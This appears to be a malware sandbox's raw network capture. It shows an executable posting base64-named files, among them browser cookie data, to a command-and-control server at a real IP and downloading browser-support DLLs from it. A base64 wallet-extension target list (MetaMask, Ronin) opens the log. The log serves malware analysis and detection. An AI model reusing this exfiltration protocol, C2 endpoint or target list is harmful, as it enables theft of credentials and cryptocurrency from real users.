TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 16, 2024 19:22:05.828902006 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHC Host: 185.215.113.206 Content-Length: 6571 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:22:05.828902006 CET	6571	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 Data Ascii: ------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 16, 2024 19:22:06.628366947 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:07.277069092 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:07.552973032 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 16, 2024 19:22:07.553000927 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 16, 2024 19:22:07.553018093 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49729	185.215.113.206	80	7340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:22:15.629988909 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGIJDAFCFHIEHJJKEHJK--
Nov 16, 2024 19:22:17.048867941 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:17.441529989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="file"------IIJJDGHJKKJEBFHJDBGH--
Nov 16, 2024 19:22:18.219615936 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49770	185.215.113.206	80	7340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:22:23.920675039 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 19:22:23.920727968 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 16, 2024 19:22:25.381999016 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:25.515297890 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 38 33 39 66 31 66 39 33 32 65 63 61 32 37 34 33 64 34 33 38 62 62 63 35 34 62 33 64 37 39 30 63 32 63 65 61 34 39 39 32 66 38 33 30 30 63 36 31 33 34 31 65 65 31 38 34 39 39 38 35 37 36 33 39 62 62 30 63 32 38 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="token"9839f1f932eca2743d438bbc54b3d790c2cea4992f8300c61341ee18499857639bb0c28f------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="file"------GCFBAKKJDBKJJJKFHDAE--
Nov 16, 2024 19:22:26.296140909 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 19:22:27.198463917 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:27.582241058 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:27.919039965 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 16, 2024 19:22:27.919125080 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 16, 2024 19:22:27.919137955 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 16, 2024 19:22:27.919159889 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 16, 2024 19:22:27.919174910 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Nov 16, 2024 19:22:27.919189930 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Nov 16, 2024 19:22:27.919248104 CET	848	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Nov 16, 2024 19:22:27.919262886 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Nov 16, 2024 19:22:27.919281006 CET	212	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]
Nov 16, 2024 19:22:27.919352055 CET	1236	IN	Data Raw: dc 8b 45 d0 85 c0 74 35 88 55 e8 89 ca 89 c1 c1 e9 03 89 4d c0 83 c1 04 39 4d d8 89 5d dc 0f 83 db 01 00 00 8a 5d e8 83 7d d8 00 0f 84 3c 03 00 00 89 f8 89 d7 2b 45 c0 e9 54 01 00 00 83 7d d8 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 Data Ascii: Et5UM9M]]}<+ET}:M1}]fEUEEUD}4747EED}4}4EUEUu}<7
Nov 16, 2024 19:22:29.090632915 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:29.373115063 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 16, 2024 19:22:29.880649090 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:30.174840927 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 16, 2024 19:22:30.735766888 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:31.018099070 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 16, 2024 19:22:32.861109018 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 19:22:33.143744946 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 